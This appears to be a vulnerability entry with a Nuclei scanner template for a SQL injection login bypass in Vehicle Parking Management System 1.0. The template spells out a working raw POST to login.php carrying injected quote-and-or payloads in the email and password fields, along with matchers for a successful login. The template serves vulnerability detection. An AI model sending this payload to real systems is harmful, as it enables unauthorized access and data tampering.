Vehicle Parking Management System 1.0 contains a SQL injection vulnerability via the password parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: vpms-auth-bypass
info:
name: Vehicle Parking Management System 1.0 - SQL Injection
author: dwisiswant0
severity: critical
description: Vehicle Parking Management System 1.0 contains a SQL injection vulnerability via the password parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
reference:
- https://www.exploit-db.com/exploits/48877
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-89
metadata:
max-request: 1
tags: auth-bypass,edb,sqli,vuln
http:
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}/login.php
Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
email=%27%3D%27%27or%27%40email.com&password=%27%3D%27%27or%27&btn_login=1
matchers-condition: and
matchers:
- type: word
words:
- "LAGOS PARKER"
- "Login Successfully"
- "location.href = 'index.php';"
condition: and
part: body
- type: status
status:
- 200
# digest: 490a0046304402203105c27d01dc73618d30a35cef74a433d33154ccda763d577f33ad39c7ee28e602203a98a10e848b121564bce4a1a244344234d70c7fc8cec6ca3d8408bc24cbef7b:922c64590222798bb761d5b6d8e72950